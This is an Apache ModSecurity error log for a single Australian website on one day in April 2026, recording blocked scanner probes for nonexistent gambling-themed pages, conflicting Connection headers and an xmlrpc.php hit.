[Sat Apr 18 06:22:44.875069 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:5869] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKytCYdRLRhVmaIMx3aGwAAAME"]
[Sat Apr 18 06:22:45.437448 2026] [:error] [pid 9863:tid 9897] [client 20.203.143.130:6000] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKytTjjiypiFrTucbIWBgAAABg"]
[Sat Apr 18 06:22:46.303963 2026] [:error] [pid 9864:tid 9906] [client 20.203.143.130:5958] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKytoCFeowknfXHM7k_jwAAAEE"]
[Sat Apr 18 06:22:46.867689 2026] [:error] [pid 9864:tid 9905] [client 20.203.143.130:6007] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKytoCFeowknfXHM7k_kAAAAEA"]
[Sat Apr 18 06:22:47.424445 2026] [:error] [pid 9865:tid 9945] [client 20.203.143.130:5849] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKyt6zb5knECIY-C-i1nQAAAIg"]
[Sat Apr 18 07:56:37.530889 2026] [:error] [pid 13023:tid 13034] [client 43.166.129.247:55138] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeLItf1e7hG8DAeABB86VgAAAQk"]
[Sat Apr 18 10:04:08.538722 2026] [:error] [pid 34237:tid 34257] [client 43.153.79.218:51274] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeLmmBBmX4Wq5a6rxfYRzAAAAVI"]
[Sat Apr 18 12:44:21.421478 2026] [:error] [pid 9864:tid 9906] [client 111.172.249.49:42124] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeMMJYCFeowknfXHM7mZZAAAAEE"]
[Sat Apr 18 13:48:38.429739 2026] [:error] [pid 9865:tid 9960] [client 88.88.156.124:4090] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeMbNqzb5knECIY-C-gsnQAAAJc"]
[Sat Apr 18 13:48:40.943844 2026] [:error] [pid 9865:tid 9958] [client 88.88.156.124:57334] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeMbOKzb5knECIY-C-gspgAAAJU"]
[Sat Apr 18 13:48:43.432346 2026] [:error] [pid 9865:tid 9954] [client 88.88.156.124:57350] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aeMbO6zb5knECIY-C-gstQAAAJE"]
[Sat Apr 18 13:48:45.929733 2026] [:error] [pid 34288:tid 34315] [client 88.88.156.124:57354] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aeMbPeTIiy__PtiLmpmc9wAAAZc"]
[Sat Apr 18 13:48:48.244084 2026] [:error] [pid 9865:tid 9955] [client 88.88.156.124:49638] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aeMbQKzb5knECIY-C-gsvgAAAJI"]
[Sat Apr 18 13:48:50.568102 2026] [:error] [pid 9865:tid 9941] [client 88.88.156.124:49646] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aeMbQqzb5knECIY-C-gsxAAAAIQ"]
[Sat Apr 18 13:48:52.890419 2026] [:error] [pid 9865:tid 9948] [client 88.88.156.124:49660] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aeMbRKzb5knECIY-C-gs0gAAAIs"]
[Sat Apr 18 13:48:55.380851 2026] [:error] [pid 9865:tid 9938] [client 88.88.156.124:49668] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aeMbR6zb5knECIY-C-gs4QAAAIE"]
[Sat Apr 18 13:48:57.947507 2026] [:error] [pid 13023:tid 13030] [client 88.88.156.124:35430] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aeMbSf1e7hG8DAeABB-5AwAAAQU"]
[Sat Apr 18 13:49:00.312602 2026] [:error] [pid 34237:tid 34254] [client 88.88.156.124:35436] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aeMbTBBmX4Wq5a6rxfYxAAAAAU8"]
[Sat Apr 18 13:49:02.858128 2026] [:error] [pid 34237:tid 34242] [client 88.88.156.124:35452] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aeMbThBmX4Wq5a6rxfYxAwAAAUM"]
[Sat Apr 18 13:49:05.365034 2026] [:error] [pid 9970:tid 9984] [client 88.88.156.124:35464] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aeMbUSYdRLRhVmaIMx1gIwAAAMo"]
[Sat Apr 18 13:49:07.752282 2026] [:error] [pid 9970:tid 9994] [client 88.88.156.124:51640] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aeMbUyYdRLRhVmaIMx1gKAAAANQ"]
[Sat Apr 18 13:49:10.255891 2026] [:error] [pid 9863:tid 9887] [client 88.88.156.124:51654] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aeMbVjjjiypiFrTucbKZmAAAAA4"]
[Sat Apr 18 13:49:12.818760 2026] [:error] [pid 9865:tid 9944] [client 88.88.156.124:51660] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aeMbWKzb5knECIY-C-gs8AAAAIc"]
[Sat Apr 18 13:49:15.210949 2026] [:error] [pid 9864:tid 9913] [client 88.88.156.124:51670] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aeMbW4CFeowknfXHM7mnrgAAAEc"]
[Sat Apr 18 13:49:17.573482 2026] [:error] [pid 9865:tid 9952] [client 88.88.156.124:47430] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aeMbXazb5knECIY-C-gs9gAAAI8"]
[Sat Apr 18 13:49:20.086319 2026] [:error] [pid 9864:tid 9907] [client 88.88.156.124:47446] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aeMbYICFeowknfXHM7mntQAAAEI"]
[Sat Apr 18 13:49:22.606587 2026] [:error] [pid 34290:tid 34335] [client 88.88.156.124:47448] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeMbYhqX6WpmmAXOBi-5LwAAAdA"]
[Sat Apr 18 13:49:25.010933 2026] [:error] [pid 9865:tid 9943] [client 88.88.156.124:47452] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeMbZazb5knECIY-C-gtCAAAAIY"]
[Sat Apr 18 13:49:27.553360 2026] [:error] [pid 34288:tid 34310] [client 88.88.156.124:42358] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeMbZ-TIiy__PtiLmpmc-wAAAZI"]
[Sat Apr 18 13:49:29.944492 2026] [:error] [pid 9970:tid 9998] [client 88.88.156.124:42370] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeMbaSYdRLRhVmaIMx1gMQAAANg"]
[Sat Apr 18 13:49:32.485596 2026] [:error] [pid 9864:tid 9927] [client 88.88.156.124:42384] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeMbbICFeowknfXHM7mnvQAAAFU"]
[Sat Apr 18 13:49:35.007924 2026] [:error] [pid 34237:tid 34258] [client 88.88.156.124:42394] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeMbbxBmX4Wq5a6rxfYxDwAAAVM"]
[Sat Apr 18 13:49:55.804853 2026] [:error] [pid 9864:tid 9908] [client 88.88.156.124:57384] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeMbg4CFeowknfXHM7mn4AAAAEM"]
[Sat Apr 18 13:49:58.357323 2026] [:error] [pid 34290:tid 34326] [client 88.88.156.124:58736] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeMbhhqX6WpmmAXOBi-5QgAAAcc"]
[Sat Apr 18 14:03:30.640722 2026] [:error] [pid 9970:tid 9987] [client 125.165.105.99:24240] [client 125.165.105.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.165.105.99, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeMesiYdRLRhVmaIMx1ivgAAAM0"]
[Sat Apr 18 17:32:29.311060 2026] [:error] [pid 34237:tid 34256] [client 145.239.69.44:40752] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aeNPrRBmX4Wq5a6rxfZhPQAAAVE"]
[Sat Apr 18 17:32:34.208004 2026] [:error] [pid 9864:tid 9926] [client 145.239.69.44:59424] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aeNPsoCFeowknfXHM7ngkgAAAFQ"]
[Sat Apr 18 17:32:39.155416 2026] [:error] [pid 13023:tid 13028] [client 145.239.69.44:59426] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeNPt_1e7hG8DAeABB_dJwAAAQM"]
[Sat Apr 18 17:32:42.709924 2026] [:error] [pid 9865:tid 9950] [client 145.239.69.44:43116] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeNPuqzb5knECIY-C-hmpgAAAI0"]
[Sat Apr 18 17:32:46.381498 2026] [:error] [pid 13023:tid 13025] [client 145.239.69.44:43120] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeNPvv1e7hG8DAeABB_dLwAAAQA"]
[Sat Apr 18 17:32:50.278182 2026] [:error] [pid 9864:tid 9925] [client 145.239.69.44:43124] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aeNPwoCFeowknfXHM7ngsQAAAFM"]
[Sat Apr 18 17:32:55.092893 2026] [:error] [pid 9863:tid 9884] [client 145.239.69.44:54492] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeNPxzjjiypiFrTucbK2VAAAAAs"]
[Sat Apr 18 17:32:58.914819 2026] [:error] [pid 34288:tid 34301] [client 145.239.69.44:54506] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeNPyuTIiy__PtiLmpm__wAAAYk"]
[Sat Apr 18 17:33:02.296333 2026] [:error] [pid 34237:tid 34259] [client 145.239.69.44:41402] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeNPzhBmX4Wq5a6rxfZhcAAAAVQ"]
[Sat Apr 18 17:33:05.387108 2026] [:error] [pid 9864:tid 9929] [client 145.239.69.44:41414] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeNP0YCFeowknfXHM7ngwAAAAFc"]
[Sat Apr 18 17:33:08.542771 2026] [:error] [pid 9865:tid 9944] [client 145.239.69.44:41416] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeNP1Kzb5knECIY-C-hmyAAAAIc"]
[Sat Apr 18 17:33:11.563436 2026] [:error] [pid 34290:tid 34331] [client 145.239.69.44:41418] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeNP1xqX6WpmmAXOBi_spAAAAcw"]
[Sat Apr 18 17:33:14.969586 2026] [:error] [pid 34290:tid 34319] [client 145.239.69.44:60278] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeNP2hqX6WpmmAXOBi_sqwAAAcA"]
[Sat Apr 18 17:33:17.917131 2026] [:error] [pid 34237:tid 34262] [client 145.239.69.44:60290] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeNP3RBmX4Wq5a6rxfZhlQAAAVc"]
[Sat Apr 18 17:33:20.450541 2026] [:error] [pid 9864:tid 9921] [client 145.239.69.44:60292] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeNP4ICFeowknfXHM7ng4AAAAE8"]
[Sat Apr 18 17:33:23.508377 2026] [:error] [pid 9864:tid 9906] [client 145.239.69.44:52242] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeNP44CFeowknfXHM7ng_QAAAEE"]
[Sat Apr 18 17:33:48.750721 2026] [:error] [pid 34290:tid 34322] [client 145.239.69.44:52252] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aeNP_BqX6WpmmAXOBi_s_AAAAcM"]
[Sat Apr 18 17:33:51.689007 2026] [:error] [pid 13023:tid 13029] [client 145.239.69.44:38592] [client 145.239.69.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeNP__1e7hG8DAeABB_duwAAAQQ"]
